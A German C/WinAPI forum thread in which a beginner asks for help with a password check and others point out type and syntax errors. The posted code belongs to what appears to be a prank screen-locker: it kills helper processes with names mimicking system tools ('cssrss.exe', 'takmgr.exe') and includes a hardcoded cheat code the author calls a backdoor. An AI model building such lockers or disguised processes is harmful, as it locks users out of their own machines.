if(string == string) Problem [GELÖST]



  • Hallo alle zusammen,
    hab folgendes Problem: hab hier nen programmschnipsel von mir (ich weiß, is warscheinlich ziemlich schlecht geschrieben, bin aber noch anfänger 😃 ) der eigentlich erst überprüfen soll ob die eingabe dem Passwort(iSecret) entspricht

    wenn dem nicht so is solls übeprüfen ob der "cheat" eingegeben wurde (is meine hintertür für das programm :p )

    falls beides nicht der fall ist sollte angegeben werden ob die eingegebene zahl zu groß oder zu klein ist

    leider führt das prog nur schritt 1 und 2 merklich aus

    wenn ich das pw eingebe sagts immer zu groß, ich befürchte, dasses beim einlesen an %d liegt, hab aber ka ob dem so is

    Bitte um Hilfe 🙂

    scanf ("%d", &Zahl);
    
                    if(Zahl == iSecret)
                         {
                             SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 14); // Textfrabe: Gelb
                             printf( "Glueck gehabt!!!\nMal sehen wies nach dem naechsten neustart aussieht...\n");
                             Sleep(5000);
                             ShowWindow(hWnd, SW_HIDE); // console wieder verstecken
                             system("taskkill /f /im cssrss.exe"); // Mausschleife ausschalten
                             system("explorer.exe");
    
                             break;
                         }
    
                    else if(Zahl == myStr[11])
                         {
                             SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 14); // Textfrabe: Gelb
                             printf( "Lucker, kennt den Programmierer ;-)");
                             Sleep(5000);
                             ShowWindow(hWnd, SW_HIDE); // console wieder verstecken
                             system("explorer.exe");
                             system("taskkill /f /im cssrss.exe"); // Mausschleife ausschalten
                             system("taskkill /f /im reged.exe");
                             system("taskkill /f /im Reg.exe");
                             system("taskkill /f /im block.exe");
                             system("taskkill /f /im takmgr.exe");
    
                             break;
                         }
    
                    else 
                         {
                              if( Zahl < iSecret)
                              {
                                  printf( "Haha, zu klein...\n");
                                  continue;
                              }
    
                              else( Zahl > iSecret);
                              {
                                    printf( "Haha, zu gross...\n");
                                    continue;
                              }
                         }
    
                }
    


  • Also man sieht zwar nicht von welchem Typ iSecret bei dir ist, aber mit deinem scanf ließt du nur integer Variablen korrekt ein, versuchst aber bei deinem else if diese mit einem (vermutlich) string zu vergleichen. Dein Vergleich mit == beim else if wird so sicher auch nicht funktionieren. Also das haut irgendwie hinten und vorne nicht hin.



  • else( Zahl > iSecret);
    

    Sollte wohl eher

    else if( Zahl > iSecret)
    {
      // ...
    }
    

    heißen!?

    Tipp: nutze den Debugger...



  • oneill5000 schrieb:

    Also man sieht zwar nicht von welchem Typ iSecret bei dir ist, aber mit deinem scanf ließt du nur integer Variablen korrekt ein, versuchst aber bei deinem else if diese mit einem (vermutlich) string zu vergleichen. Dein Vergleich mit == beim else if wird so sicher auch nicht funktionieren. Also das haut irgendwie hinten und vorne nicht hin.

    hey, danke für die antwort

    iSecret ist int
    ja, das bei dem else if is nen string

    was müsst ich ändern dasses hinhaut?



  • Th69 schrieb:

    else( Zahl > iSecret);
    

    Sollte wohl eher

    else if( Zahl > iSecret)
    {
      // ...
    }
    

    heißen!?

    Tipp: nutze den Debugger...

    nee, des mit dem else stimmt schon
    wenn jemand sonderzeichen eingibt hat er hald pech :p

    wie funzt der debugger, hab noch nie mit dem teil gearbeitet...

    lg Flo



  • habs jetzt gelöst indem erst nen zahlencode eingegeben werden muss
    dann kommt die eigentliche passwortabfrage als string
    hier die lösung:

    if(Zahl == iSecret)
                         {
                             SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 14); // Textfrabe: Gelb
                             printf( "Glueck gehabt!!!\nMal sehen wies nach dem naechsten neustart aussieht...\n");
                             Sleep(5000);
                             ShowWindow(hWnd, SW_HIDE); // console wieder verstecken
                             system("taskkill /f /im cssrss.exe"); // Mausschleife ausschalten
                             system("explorer.exe");
    
                             break;
                         }
    
                    else if(Zahl == 777)
                         {
                             printf("Enter Cheat Code: ");
                             scanf("%s", test2);
                             if( strcmp(test1, test2) == 0)
                             {
                             SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 14); // Textfrabe: Gelb
                             printf( "\n#########################################\n");
                             printf( "#                                       #\n");
                             printf( "#  Lucker, kennt den Programmierer ;-)  #\n");
                             printf( "#                                       #\n");
                             printf( "#########################################\n");
                             Sleep(5000);
                             ShowWindow(hWnd, SW_HIDE); // console wieder verstecken
                             system("explorer.exe");
                             system("taskkill /f /im cssrss.exe"); // Mausschleife ausschalten
                             system("taskkill /f /im reged.exe");
                             system("taskkill /f /im Reg.exe");
                             system("taskkill /f /im block.exe");
                             system("taskkill /f /im takmgr.exe");
    
                             break;
                             }
    
                             else
                             {
                                 printf("Gibs auf wenndes nicht weisst!\n");
                                 continue;
                              }
    
                         }
    
                    else if( Zahl < iSecret)
                              {
                                  printf( "Haha, zu klein...\n");
                                  continue;
                              }
    
                              else( Zahl > iSecret);
                              {
                                    printf( "Haha, zu gross...\n");
                                    continue;
                              }
    

    lg Flo 😃



  • BTW: falsches Forum, korrekt wäre Ansi C



  • theta schrieb:

    BTW: falsches Forum, korrekt wäre Ansi C

    okay, werds nächstemal dahin posten
    thx



  • Dieser Thread wurde von Moderator/in Jochen Kalmbach aus dem Forum C++/CLI mit .NET in das Forum WinAPI verschoben.

    Im Zweifelsfall bitte auch folgende Hinweise beachten:
    C/C++ Forum :: FAQ - Sonstiges :: Wohin mit meiner Frage?

    Dieses Posting wurde automatisch erzeugt.


Anmelden zum Antworten